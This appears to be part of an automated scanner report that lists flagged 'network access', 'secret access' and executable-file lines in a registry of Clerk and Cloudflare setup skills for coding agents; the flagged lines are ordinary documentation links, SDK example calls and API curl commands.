    # Send: clerk api -X POST /v1/organizations/<org_id>/invitations \   -d '{"email_address":"alice@example.com","role":"org:member","redirect_url":"https://app.com/accept"}'
  • Network accessline 154
    clerk api -X POST /v1/organizations/<org_id>/invitations    -d '{"email_address":"alice@example.com","role":"org:member","redirect_url":"https://app.com/accept"}'
  • Network accessline 155
    -d '{"email_address":"alice@example.com","role":"org:member","redirect_url":"https://app.com/accept"}'
  • Network accessline 173
    - [Overview](https://clerk.com/docs/guides/organizations/overview)
  • Network accessline 174
    - [Configure + enable](https://clerk.com/docs/guides/organizations/configure)
  • Network accessline 175
    - [Roles and permissions](https://clerk.com/docs/guides/organizations/control-access/roles-and-permissions)
  • Network accessline 176
    - [Check access](https://clerk.com/docs/guides/organizations/control-access/check-access)
  • Network accessline 177
    - [Invitations](https://clerk.com/docs/guides/organizations/add-members/invitations)
  • Network accessline 178
    - [OrganizationSwitcher](https://clerk.com/docs/reference/components/organization/organization-switcher)
  • Network accessline 179
    - [Verified domains](https://clerk.com/docs/guides/organizations/add-members/verified-domains)
  • Network accessline 180
    - [Enterprise SSO](https://clerk.com/docs/guides/organizations/add-members/sso)
  • Network accessline 293
    The full prop list lives in the [component reference](https://clerk.com/docs/reference/components/organization/organization-switcher).
  • Network accessline 448
    emailAddress,     role,                        // e.g. 'org:admin' or 'org:member'     redirectUrl: 'https://yourapp.com/accept-invite',
  • Network accessline 449
    role,                        // e.g. 'org:admin' or 'org:member'     redirectUrl: 'https://yourapp.com/accept-invite',   })
  • Network accessline 450
    redirectUrl: 'https://yourapp.com/accept-invite',

packages/autoskills/skills-registry/clerk-orgs/references/enterprise-sso.md

  • Network accessline 3
    Per-organization SAML or OIDC. Configured via [Dashboard → Configure → Enterprise Connections](https://dashboard.clerk.com/last-active?path=user-authentication/enterprise-connections) or via `clerk api -X POST /v1/enterprise_connections` (r
  • Network accessline 74
    - Enrollment modes: Manual invitation, Automatic invitation, Automatic suggestion. - Permission: `org:sys_domains:manage`. - Full reference: [docs/guides/organizations/add-members/verified-domains.mdx](https://clerk.com/docs/guides/organiza
  • Network accessline 76
    - Full reference: [docs/guides/organizations/add-members/verified-domains.mdx](https://clerk.com/docs/guides/organizations/add-members/verified-domains).
  • Network accessline 80
    When a user signs in via an Enterprise SSO connection scoped to an org, Clerk's [Just-in-Time (JIT) Provisioning](https://clerk.com/docs/guides/configure/auth-strategies/enterprise-connections/jit-provisioning) automatically adds them as a 

packages/autoskills/skills-registry/clerk-orgs/references/invitations.md

  • Network accessline 35
    emailAddress,     role,     redirectUrl: 'https://yourapp.com/accept-invite',
  • Network accessline 36
    role,     redirectUrl: 'https://yourapp.com/accept-invite',     publicMetadata: { invitedFrom: 'admin-panel' },
  • Network accessline 37
    redirectUrl: 'https://yourapp.com/accept-invite',
  • Network accessline 129
    If you need to build your own accept page instead of relying on Clerk's account portal, see the custom flow doc: [Accept Organization Invitations](https://clerk.com/docs/guides/development/custom-flows/organizations/accept-organization-invi

packages/autoskills/skills-registry/clerk-orgs/references/nextjs-patterns.md

  • Network accessline 24
    `org:billing:manage` is a custom permission: create it in the Dashboard and assign it to a role. Server-side permission checks only work with custom permissions. System permissions (`org:sys_*`) aren't in the session token, so to require on

packages/autoskills/skills-registry/clerk-orgs/references/roles-permissions.md

  • Network accessline 39
    Up to 10 custom Roles per instance. Create via [Dashboard → Roles & Permissions](https://dashboard.clerk.com/last-active?path=organizations-settings/roles) → **Add role**, or via `clerk api -X POST /v1/organization_roles` with body `{"name"
  • Network accessline 48
    Create via [Dashboard → Roles & Permissions](https://dashboard.clerk.com/last-active?path=organizations-settings/roles) → **Permissions** tab → **Add permission**, or via two steps: (1) `clerk api -X POST /v1/organization_permissions` with 

packages/autoskills/skills-registry/clerk-react-patterns/SKILL.md

  • Access to secretsline 54
    [Credential-related source omitted]
  • Network accessline 126
    const res = await fetch('/api/data', {
  • Access to secretsline 142
    [Credential-related source omitted]
  • Network accessline 154
    [React SDK](https://clerk.com/docs/react/getting-started/quickstart)

packages/autoskills/skills-registry/clerk-react-patterns/evals/evals.json

  • Access to secretsline 11
    [Credential-related source omitted]
  • Access to secretsline 14
    [Credential-related source omitted]

packages/autoskills/skills-registry/clerk-react-patterns/references/custom-flows.md

  • Network accessline 105
    [Docs](https://clerk.com/docs/react/getting-started/quickstart)

packages/autoskills/skills-registry/clerk-react-patterns/references/hooks.md

  • Network accessline 88
    return fetch(url, {
  • Network accessline 101
    [Docs](https://clerk.com/docs/react/getting-started/quickstart)

packages/autoskills/skills-registry/clerk-react-patterns/references/protected-routes.md

  • Access to secretsline 33
    [Credential-related source omitted]
  • Network accessline 86
    [Docs](https://clerk.com/docs/react/getting-started/quickstart)

packages/autoskills/skills-registry/clerk-react-patterns/references/router-integration.md

  • Access to secretsline 14
    [Credential-related source omitted]
  • Network accessline 91
    [Docs](https://clerk.com/docs/react/getting-started/quickstart)

packages/autoskills/skills-registry/clerk-react-patterns/templates/react-basic-auth/package.json

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/clerk-react-patterns/templates/react-basic-auth/src/App.tsx

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/clerk-react-patterns/templates/react-basic-auth/src/main.tsx

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/clerk-react-patterns/templates/react-basic-auth/vite.config.ts

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/clerk-react-router-patterns/SKILL.md

  • Network accessline 49
    duplication is per export condition, not per installed copy. Do not chase duplicate installs; add the workaround (upstream issue: https://github.com/remix-run/react-router/issues/15232):
  • Network accessline 51
    https://github.com/remix-run/react-router/issues/15232):
  • Network accessline 217
    [React Router SDK](https://clerk.com/docs/react-router/getting-started/quickstart)

packages/autoskills/skills-registry/clerk-react-router-patterns/templates/react-router-basic-auth/app/root.tsx

  • Executable scriptline 1
    Executable file
  • Network accessline 12
    export const links: Route.LinksFunction = () => [   { rel: 'preconnect', href: 'https://fonts.googleapis.com' },
  • Network accessline 13
    { rel: 'preconnect', href: 'https://fonts.googleapis.com' },
  • Network accessline 14
    {     rel: 'preconnect',     href: 'https://fonts.gstatic.com',
  • Network accessline 15
    rel: 'preconnect',     href: 'https://fonts.gstatic.com',     crossOrigin: 'anonymous',
  • Network accessline 16
    href: 'https://fonts.gstatic.com',
  • Network accessline 19
    {     rel: 'stylesheet',     href: 'https://fonts.googleapis.com/css2?family=Inter:ital,opsz,wght@0,14..32,100..900;1,14..32,100..900&display=swap',
  • Network accessline 20
    rel: 'stylesheet',     href: 'https://fonts.googleapis.com/css2?family=Inter:ital,opsz,wght@0,14..32,100..900;1,14..32,100..900&display=swap',   },
  • Network accessline 21
    href: 'https://fonts.googleapis.com/css2?family=Inter:ital,opsz,wght@0,14..32,100..900;1,14..32,100..900&display=swap',

packages/autoskills/skills-registry/clerk-react-router-patterns/templates/react-router-basic-auth/app/routes.ts

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/clerk-react-router-patterns/templates/react-router-basic-auth/app/routes/home.tsx

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/clerk-react-router-patterns/templates/react-router-basic-auth/package.json

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/clerk-react-router-patterns/templates/react-router-basic-auth/react-router.config.ts

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/clerk-react-router-patterns/templates/react-router-basic-auth/vite.config.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 7
    // react-router's production build while the app uses the development build — 	// two Router contexts, and useNavigate() throws inside ClerkProvider. 	// See https://github.com/remix-run/react-router/issues/15232
  • Network accessline 9
    // See https://github.com/remix-run/react-router/issues/15232

packages/autoskills/skills-registry/clerk-setup/SKILL.md

  • Network accessline 14
    Use the [Clerk CLI](https://clerk.com/docs/cli) to add authentication. In agent environments, supported frameworks default to accountless setup: `npx -y clerk@latest init` provisions a claimable application and writes temporary development 
  • Network accessline 39
    See the [migration guide](https://clerk.com/docs/guides/development/migrating/overview).
  • Network accessline 45
    Inspect its Clerk package versions before changing anything and use the version table in the [clerk skill](https://clerk.com/.well-known/skills/clerk/SKILL.md) to identify its SDK generation. Preserve that generation unless the user asks to
  • Network accessline 119
    - [Next.js](https://clerk.com/docs/nextjs/getting-started/quickstart.md?manual=1)
  • Network accessline 120
    - [React](https://clerk.com/docs/react/getting-started/quickstart.md?manual=1)
  • Network accessline 121
    - [React Router](https://clerk.com/docs/react-router/getting-started/quickstart.md?manual=1)
  • Network accessline 122
    - [Nuxt](https://clerk.com/docs/nuxt/getting-started/quickstart.md?manual=1)
  • Network accessline 123
    - [TanStack Start](https://clerk.com/docs/tanstack-react-start/getting-started/quickstart.md?manual=1)
  • Network accessline 124
    - [Astro](https://clerk.com/docs/astro/getting-started/quickstart.md?manual=1)
  • Network accessline 125
    - [Vue](https://clerk.com/docs/vue/getting-started/quickstart.md?manual=1)
  • Network accessline 126
    - [JavaScript or Vite](https://clerk.com/docs/js-frontend/getting-started/quickstart.md?manual=1)
  • Network accessline 127
    - [Expo](https://clerk.com/docs/expo/getting-started/quickstart.md?manual=1)
  • Network accessline 128
    - [Express](https://clerk.com/docs/expressjs/getting-started/quickstart.md?manual=1)
  • Network accessline 129
    - [Fastify](https://clerk.com/docs/fastify/getting-started/quickstart.md?manual=1)
  • Network accessline 130
    - [iOS](https://clerk.com/docs/ios/getting-started/quickstart.md?manual=1)
  • Network accessline 131
    - [Android](https://clerk.com/docs/android/getting-started/quickstart.md?manual=1)
  • Network accessline 132
    - [Chrome extension](https://clerk.com/docs/chrome-extension/getting-started/quickstart.md?manual=1)
  • Network accessline 134
    For everything else, use [Clerk's llms.txt](https://clerk.com/llms.txt).
  • Network accessline 168
    Bot protection can block sign-ups in browsers you automate. If you test a new accountless app in one, run `npx -y clerk@latest users create --email <unique>+clerk_test@example.com --password <random-16-char-alphanumeric> --yes`, then sign i
  • Network accessline 201
    Then ask how they want users to sign up and sign in — identifiers (email, phone, username) and social providers. Changing these needs a claimed application: have the user run `npx -y clerk@latest auth login` first, then review with `npx -y 
  • Network accessline 213
    If no, point them to [Organizations](https://clerk.com/docs/guides/organizations/overview), [Components](https://clerk.com/docs/reference/components/overview), and the [Clerk Dashboard](https://dashboard.clerk.com/).

packages/autoskills/skills-registry/clerk-setup/evals/evals.json

  • Access to secretsline 13
    [Credential-related source omitted]

packages/autoskills/skills-registry/clerk-swift/SKILL.md

  • Network accessline 152
    - If required quickstart setup is missing, implement it before completing the task. - This includes adding any missing Associated Domains entries and any other required app capabilities from the quickstart. - Explicitly execute the quicksta
  • Network accessline 154
    - Explicitly execute the quickstart step `Add associated domain capability` (`https://clerk.com/docs/ios/getting-started/quickstart#add-associated-domain-capability`) and ensure the associated-domain entry matches quickstart requirements (`
  • Network accessline 201
    - `clerk-setup` skill for non-native or cross-framework setup - installed `clerk-ios` package `README.md` (source for current iOS quickstart link) - `https://github.com/clerk/clerk-ios`
  • Network accessline 203
    - `https://github.com/clerk/clerk-ios`

packages/autoskills/skills-registry/clerk-swift/references/custom.md

  • Network accessline 37
    - If required setup is missing, add it before finishing custom auth implementation. - Always add any missing Associated Domains entries and any other capabilities required by the quickstart. - Explicitly apply quickstart step `Add associate
  • Network accessline 39
    - Explicitly apply quickstart step `Add associated domain capability` (`https://clerk.com/docs/ios/getting-started/quickstart#add-associated-domain-capability`); ensure `webcredentials:{YOUR_FRONTEND_API_URL}` exists when missing.

packages/autoskills/skills-registry/clerk-swift/references/prebuilt.md

  • Network accessline 19
    - If required setup is missing, add it before finishing prebuilt auth implementation. - Always add any missing Associated Domains entries and any other capabilities required by the quickstart. - Explicitly apply quickstart step `Add associa
  • Network accessline 21
    - Explicitly apply quickstart step `Add associated domain capability` (`https://clerk.com/docs/ios/getting-started/quickstart#add-associated-domain-capability`); ensure `webcredentials:{YOUR_FRONTEND_API_URL}` exists when missing.

packages/autoskills/skills-registry/clerk-tanstack-patterns/SKILL.md

  • Network accessline 125
    [TanStack React Start SDK](https://clerk.com/docs/tanstack-react-start/getting-started/quickstart)

packages/autoskills/skills-registry/clerk-tanstack-patterns/references/loaders.md

  • Network accessline 74
    [Docs](https://clerk.com/docs/tanstack-react-start/getting-started/quickstart)

packages/autoskills/skills-registry/clerk-tanstack-patterns/references/router-guards.md

  • Network accessline 82
    [Docs](https://clerk.com/docs/tanstack-react-start/getting-started/quickstart)

packages/autoskills/skills-registry/clerk-tanstack-patterns/references/server-functions.md

  • Network accessline 91
    [Docs](https://clerk.com/docs/tanstack-react-start/getting-started/quickstart)

packages/autoskills/skills-registry/clerk-tanstack-patterns/references/server-setup.md

  • Network accessline 100
    [TanStack React Start quickstart](https://clerk.com/docs/tanstack-react-start/getting-started/quickstart)

packages/autoskills/skills-registry/clerk-tanstack-patterns/templates/tanstack-basic-auth/package.json

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/clerk-tanstack-patterns/templates/tanstack-basic-auth/src/router.tsx

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/clerk-tanstack-patterns/templates/tanstack-basic-auth/src/routes/__root.tsx

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/clerk-tanstack-patterns/templates/tanstack-basic-auth/src/routes/index.tsx

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/clerk-tanstack-patterns/templates/tanstack-basic-auth/src/start.ts

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/clerk-tanstack-patterns/templates/tanstack-basic-auth/vite.config.ts

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/clerk-testing/SKILL.md

  • Network accessline 17
    | Framework | Documentation | |-----------|---------------| | Overview | https://clerk.com/docs/guides/development/testing/overview |
  • Network accessline 18
    |-----------|---------------| | Overview | https://clerk.com/docs/guides/development/testing/overview | | Playwright | https://clerk.com/docs/guides/development/testing/playwright/overview |
  • Network accessline 19
    | Overview | https://clerk.com/docs/guides/development/testing/overview |
  • Network accessline 20
    | Playwright | https://clerk.com/docs/guides/development/testing/playwright/overview |
  • Network accessline 21
    | Cypress | https://clerk.com/docs/guides/development/testing/cypress/overview |
  • Network accessline 59
    - `clerk-setup` - Install Clerk before adding tests - `clerk-nextjs-patterns` - Next.js patterns being tested - [Demo Repo](https://github.com/clerk/clerk-playwright-nextjs/tree/main/e2e)
  • Network accessline 61
    - [Demo Repo](https://github.com/clerk/clerk-playwright-nextjs/tree/main/e2e)

packages/autoskills/skills-registry/clerk-vue-patterns/SKILL.md

  • Access to secretsline 47
    [Credential-related source omitted]
  • Network accessline 113
    - [Vue SDK](https://clerk.com/docs/vue/getting-started/quickstart)

packages/autoskills/skills-registry/clerk-vue-patterns/templates/vue-basic-auth/package.json

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/clerk-vue-patterns/templates/vue-basic-auth/src/main.ts

  • Executable scriptline 1
    Executable file
  • Access to secretsline 6
    [Credential-related source omitted]
  • Access to secretsline 9
    [Credential-related source omitted]

packages/autoskills/skills-registry/clerk-vue-patterns/templates/vue-basic-auth/vite.config.ts

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/clerk-webhooks/SKILL.md

  • Network accessline 27
    Do NOT rely on webhook delivery as part of a synchronous flow such as onboarding ("user signs up, then we read X from our DB"). For data the user just created, read it from the [Clerk session token](https://clerk.com/docs/guides/sessions/se
  • Network accessline 35
    Webhook deliveries carry no user session. `verifyWebhook()` is the only check the route needs. A bare `clerkMiddleware()` protects nothing, so the route is already reachable. Don't call `auth.protect()` for `/api/webhooks(.*)`, in middlewar
  • Access to secretsline 101
    [Credential-related source omitted]
  • Network accessline 128
    // Step 5: Post notification to Slack channel     await fetch(process.env.SLACK_WEBHOOK_URL!, {
  • Network accessline 129
    await fetch(process.env.SLACK_WEBHOOK_URL!, {
  • Network accessline 291
    **Retries**: Svix retries failed webhooks on a set schedule (see [Svix Retry Schedule](https://docs.svix.com/retries)). Return 2xx to succeed, 4xx/5xx to retry. Use the `svix-id` header as an idempotency key to deduplicate retried events.
  • Network accessline 312
    clerk webhooks listen --token "$(clerk webhooks token)" --forward-to http://localhost:3000/api/webhooks
  • Network accessline 315
    Add the printed relay URL (`https://webhooks.clerk.com/in/c_.../`) as a webhook endpoint in the Dashboard — events don't flow until you do. `svix-*` headers are preserved, so `verifyWebhook()` works against that endpoint's signing secret as

packages/autoskills/skills-registry/clerk-webhooks/evals/evals.json

  • Access to secretsline 42
    [Credential-related source omitted]

packages/autoskills/skills-registry/clerk-webhooks/references/frameworks.md

  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 113
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/LICENSE.txt

  • Network accessline 1
    Apache License Version 2.0, January 2004 http://www.apache.org/licenses/
  • Network accessline 3
    http://www.apache.org/licenses/
  • Network accessline 195
    http://www.apache.org/licenses/LICENSE-2.0

packages/autoskills/skills-registry/cloudflare-deploy/assets/cloudflare-small.svg

  • Network accessline 1
    <svg width="16" height="16" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg" aria-hidden="true">

packages/autoskills/skills-registry/cloudflare-deploy/references/agents-sdk/README.md

  • Access to secretsline 33
    [Credential-related source omitted]
  • Access to secretsline 48
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/agents-sdk/api.md

  • Access to secretsline 13
    [Credential-related source omitted]
  • Access to secretsline 99
    [Credential-related source omitted]
  • Access to secretsline 134
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/agents-sdk/configuration.md

  • Access to secretsline 34
    [Credential-related source omitted]
  • Access to secretsline 36
    [Credential-related source omitted]
  • Access to secretsline 53
    [Credential-related source omitted]
  • Network accessline 63
    export default {   fetch(request: Request, env: Env) {
  • Network accessline 64
    fetch(request: Request, env: Env) {
  • Network accessline 75
    export default {   async fetch(request: Request, env: Env) {
  • Network accessline 76
    async fetch(request: Request, env: Env) {
  • Network accessline 85
    const stub = env.MyAgent.get(id);     return stub.fetch(request);
  • Network accessline 86
    return stub.fetch(request);
  • Network accessline 96
    export default {   fetch(request: Request, env: Env) {
  • Network accessline 97
    fetch(request: Request, env: Env) {
  • Access to secretsline 140
    [Credential-related source omitted]
  • Network accessline 171
    {   "vars": {     "MCP_SERVER_URL": "https://mcp.example.com"
  • Network accessline 172
    "vars": {     "MCP_SERVER_URL": "https://mcp.example.com"   }
  • Network accessline 173
    "MCP_SERVER_URL": "https://mcp.example.com"
  • Access to secretsline 179
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/agents-sdk/gotchas.md

  • Access to secretsline 19
    [Credential-related source omitted]
  • Access to secretsline 89
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/agents-sdk/patterns.md

  • Access to secretsline 13
    [Credential-related source omitted]
  • Access to secretsline 66
    [Credential-related source omitted]
  • Access to secretsline 97
    [Credential-related source omitted]
  • Access to secretsline 126
    [Credential-related source omitted]
  • Access to secretsline 144
    [Credential-related source omitted]
  • Access to secretsline 162
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/ai-gateway/README.md

  • Access to secretsline 40
    [Credential-related source omitted]
  • Network accessline 68
    [Credential-related source omitted]
  • Network accessline 69
    [Credential-related source omitted]
  • Access to secretsline 69
    [Credential-related source omitted]
  • Network accessline 70
    baseURL: `https://gateway.ai.cloudflare.com/v1/${accountId}/${gatewayId}/compat`,
  • Network accessline 88
    export default {   async fetch(request, env, ctx) {
  • Network accessline 89
    async fetch(request, env, ctx) {
  • Network accessline 148
    **Key URL patterns:** - Unified API (OpenAI-compatible): `https://gateway.ai.cloudflare.com/v1/{account_id}/{gateway_id}/compat/chat/completions`
  • Network accessline 149
    - Unified API (OpenAI-compatible): `https://gateway.ai.cloudflare.com/v1/{account_id}/{gateway_id}/compat/chat/completions`
  • Network accessline 150
    - Provider-specific: `https://gateway.ai.cloudflare.com/v1/{account_id}/{gateway_id}/{provider}/{endpoint}`
  • Network accessline 172
    - [Official Docs](https://developers.cloudflare.com/ai-gateway/)
  • Network accessline 173
    - [API Reference](https://developers.cloudflare.com/api/resources/ai_gateway/)
  • Network accessline 174
    - [Provider Guides](https://developers.cloudflare.com/ai-gateway/usage/providers/)
  • Network accessline 175
    - [Discord Community](https://discord.cloudflare.com)

packages/autoskills/skills-registry/cloudflare-deploy/references/ai-gateway/configuration.md

  • Network accessline 10
    [Credential-related source omitted]
  • Access to secretsline 10
    [Credential-related source omitted]
  • Access to secretsline 11
    [Credential-related source omitted]
  • Access to secretsline 29
    [Credential-related source omitted]
  • Network accessline 36
    const client = new OpenAI({   baseURL: `https://gateway.ai.cloudflare.com/v1/${accountId}/${gatewayId}/openai`,
  • Network accessline 37
    baseURL: `https://gateway.ai.cloudflare.com/v1/${accountId}/${gatewayId}/openai`,
  • Network accessline 46
    const client = new OpenAI({   baseURL: `https://gateway.ai.cloudflare.com/v1/${accountId}/${gatewayId}/openai`,
  • Network accessline 47
    baseURL: `https://gateway.ai.cloudflare.com/v1/${accountId}/${gatewayId}/openai`,
  • Network accessline 57
    [Credential-related source omitted]
  • Network accessline 58
    [Credential-related source omitted]
  • Access to secretsline 58
    [Credential-related source omitted]
  • Network accessline 59
    baseURL: `https://gateway.ai.cloudflare.com/v1/${accountId}/${gatewayId}/openai`,
  • Network accessline 72
    # List curl https://api.cloudflare.com/client/v4/accounts/{account_id}/ai-gateway/gateways \
  • Network accessline 73
    [Credential-related source omitted]
  • Access to secretsline 73
    [Credential-related source omitted]
  • Access to secretsline 74
    [Credential-related source omitted]
  • Network accessline 76
    # Get curl .../gateways/{gateway_id}
  • Network accessline 77
    curl .../gateways/{gateway_id}
  • Network accessline 79
    # Update curl -X PUT .../gateways/{gateway_id} \
  • Network accessline 80
    curl -X PUT .../gateways/{gateway_id} \
  • Network accessline 83
    # Delete curl -X DELETE .../gateways/{gateway_id}
  • Network accessline 84
    curl -X DELETE .../gateways/{gateway_id}
  • Network accessline 98
    [Credential-related source omitted]
  • Network accessline 99
    [Credential-related source omitted]
  • Access to secretsline 99
    [Credential-related source omitted]
  • Network accessline 100
    [Credential-related source omitted]
  • Access to secretsline 100
    [Credential-related source omitted]
  • Access to secretsline 101
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/ai-gateway/sdk-integration.md

  • Access to secretsline 13
    [Credential-related source omitted]
  • Access to secretsline 16
    [Credential-related source omitted]
  • Network accessline 49
    [Credential-related source omitted]
  • Network accessline 50
    [Credential-related source omitted]
  • Access to secretsline 50
    [Credential-related source omitted]
  • Network accessline 51
    baseURL: `https://gateway.ai.cloudflare.com/v1/${accountId}/${gatewayId}/openai`,
  • Network accessline 62
    [Credential-related source omitted]
  • Network accessline 63
    [Credential-related source omitted]
  • Access to secretsline 63
    [Credential-related source omitted]
  • Network accessline 64
    baseURL: `https://gateway.ai.cloudflare.com/v1/${accountId}/${gatewayId}/anthropic`,
  • Network accessline 90
    new ChatOpenAI({   configuration: {     baseURL: `https://gateway.ai.cloudflare.com/v1/${accountId}/${gatewayId}/openai`
  • Network accessline 91
    configuration: {     baseURL: `https://gateway.ai.cloudflare.com/v1/${accountId}/${gatewayId}/openai`   }
  • Network accessline 92
    baseURL: `https://gateway.ai.cloudflare.com/v1/${accountId}/${gatewayId}/openai`
  • Network accessline 100
    [Credential-related source omitted]
  • Access to secretsline 100
    [Credential-related source omitted]
  • Access to secretsline 101
    [Credential-related source omitted]
  • Access to secretsline 102
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/ai-gateway/troubleshooting.md

  • Network accessline 14
    const client = new OpenAI({   baseURL: `https://gateway.ai.cloudflare.com/v1/${accountId}/${gatewayId}/openai`,
  • Network accessline 15
    baseURL: `https://gateway.ai.cloudflare.com/v1/${accountId}/${gatewayId}/openai`,
  • Access to secretsline 16
    [Credential-related source omitted]
  • Network accessline 68
    # Test connectivity curl -v https://gateway.ai.cloudflare.com/v1/{account}/{gateway}/openai/models \
  • Network accessline 69
    [Credential-related source omitted]
  • Access to secretsline 69
    [Credential-related source omitted]
  • Access to secretsline 70
    [Credential-related source omitted]
  • Access to secretsline 71
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/ai-search/README.md

  • Network accessline 48
    export default {   async fetch(request, env) {
  • Network accessline 49
    async fetch(request, env) {
  • Network accessline 136
    - [Cloudflare AI Search Docs](https://developers.cloudflare.com/ai-search/)
  • Network accessline 137
    - [Workers AI Docs](https://developers.cloudflare.com/workers-ai/)
  • Network accessline 138
    - [Vectorize Docs](https://developers.cloudflare.com/vectorize/)

packages/autoskills/skills-registry/cloudflare-deploy/references/ai-search/api.md

  • Network accessline 82
    curl https://api.cloudflare.com/client/v4/accounts/{ACCOUNT_ID}/autorag/rags/{NAME}/ai-search \

packages/autoskills/skills-registry/cloudflare-deploy/references/analytics-engine/README.md

  • Access to secretsline 23
    [Credential-related source omitted]
  • Network accessline 92
    - [Cloudflare Analytics Engine Docs](https://developers.cloudflare.com/analytics/analytics-engine/)

packages/autoskills/skills-registry/cloudflare-deploy/references/analytics-engine/api.md

  • Network accessline 30
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 31
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 56
    curl -X POST https://api.cloudflare.com/client/v4/accounts/{account_id}/analytics_engine/sql \

packages/autoskills/skills-registry/cloudflare-deploy/references/analytics-engine/configuration.md

  • Network accessline 38
    export default {   async fetch(request: Request, env: Env) {
  • Network accessline 39
    async fetch(request: Request, env: Env) {

packages/autoskills/skills-registry/cloudflare-deploy/references/analytics-engine/gotchas.md

  • Access to secretsline 39
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/analytics-engine/patterns.md

  • Access to secretsline 7
    [Credential-related source omitted]
  • Access to secretsline 23
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/api-shield/README.md

  • Network accessline 42
    - [API Shield Docs](https://developers.cloudflare.com/api-shield/)
  • Network accessline 43
    - [API Reference](https://developers.cloudflare.com/api/resources/api_gateway/)
  • Network accessline 44
    - [OWASP API Security Top 10](https://owasp.org/www-project-api-security/)

packages/autoskills/skills-registry/cloudflare-deploy/references/api-shield/api.md

  • Network accessline 44
    export default {   async fetch(req, env) {
  • Network accessline 45
    async fetch(req, env) {
  • Network accessline 58
    export default {   async fetch(req, env) {
  • Network accessline 59
    async fetch(req, env) {
  • Network accessline 71
    export default {   async scheduled(event, env) {     const jwks = await (await fetch('https://auth.example.com/.well-known/jwks.json')).json();
  • Network accessline 72
    async scheduled(event, env) {     const jwks = await (await fetch('https://auth.example.com/.well-known/jwks.json')).json();     await fetch(`https://api.cloudflare.com/client/v4/zones/${env.ZONE_ID}/api_gateway/token_validation/${env.CONFI
  • Network accessline 73
    const jwks = await (await fetch('https://auth.example.com/.well-known/jwks.json')).json();
  • Network accessline 74
    await fetch(`https://api.cloudflare.com/client/v4/zones/${env.ZONE_ID}/api_gateway/token_validation/${env.CONFIG_ID}`, {
  • Access to secretsline 76
    [Credential-related source omitted]
  • Network accessline 139
    - [configuration.md](configuration.md) - Setup guides for all features - [patterns.md](patterns.md) - Firewall rules and common patterns - [API Gateway API Docs](https://developers.cloudflare.com/api/resources/api_gateway/)
  • Network accessline 141
    - [API Gateway API Docs](https://developers.cloudflare.com/api/resources/api_gateway/)

packages/autoskills/skills-registry/cloudflare-deploy/references/api-shield/configuration.md

  • Network accessline 92
    openssl req -x509 -newkey rsa:4096 -keyout client-key.pem -out client-cert.pem -days 365 curl https://api.example.com/endpoint --cert client-cert.pem --key client-key.pem
  • Network accessline 93
    curl https://api.example.com/endpoint --cert client-cert.pem --key client-key.pem

packages/autoskills/skills-registry/cloudflare-deploy/references/api-shield/gotchas.md

  • Network accessline 123
    - [configuration.md](configuration.md) - Setup guides to avoid common issues - [patterns.md](patterns.md) - Best practices and progressive rollout - [API Shield Docs](https://developers.cloudflare.com/api-shield/)
  • Network accessline 125
    - [API Shield Docs](https://developers.cloudflare.com/api-shield/)

packages/autoskills/skills-registry/cloudflare-deploy/references/api/README.md

  • Network accessline 9
    ├─ From Workers runtime → Use bindings, not REST API (see ../bindings/) ├─ Server-side (Node/Python/Go) → Official SDK (see api.md) ├─ CLI/scripts → Wrangler or curl (see configuration.md)
  • Network accessline 10
    ├─ Server-side (Node/Python/Go) → Official SDK (see api.md) ├─ CLI/scripts → Wrangler or curl (see configuration.md) ├─ Infrastructure-as-code → See ../pulumi/ or ../terraform/
  • Network accessline 11
    ├─ CLI/scripts → Wrangler or curl (see configuration.md)
  • Network accessline 13
    └─ One-off requests → curl examples (see api.md)
  • Network accessline 63
    - [Cloudflare API Docs](https://developers.cloudflare.com/api/)

packages/autoskills/skills-registry/cloudflare-deploy/references/api/api.md

  • Access to secretsline 11
    [Credential-related source omitted]
  • Access to secretsline 20
    [Credential-related source omitted]
  • Access to secretsline 24
    [Credential-related source omitted]
  • Access to secretsline 36
    [Credential-related source omitted]
  • Access to secretsline 47
    [Credential-related source omitted]
  • Network accessline 49
    [Credential-related source omitted]
  • Access to secretsline 49
    [Credential-related source omitted]
  • Access to secretsline 50
    [Credential-related source omitted]
  • Network accessline 58
    [Credential-related source omitted]
  • Access to secretsline 58
    [Credential-related source omitted]
  • Access to secretsline 60
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/api/configuration.md

  • Access to secretsline 9
    [Credential-related source omitted]
  • Access to secretsline 10
    [Credential-related source omitted]
  • Access to secretsline 15
    [Credential-related source omitted]
  • Access to secretsline 18
    [Credential-related source omitted]
  • Access to secretsline 28
    [Credential-related source omitted]
  • Access to secretsline 37
    [Credential-related source omitted]
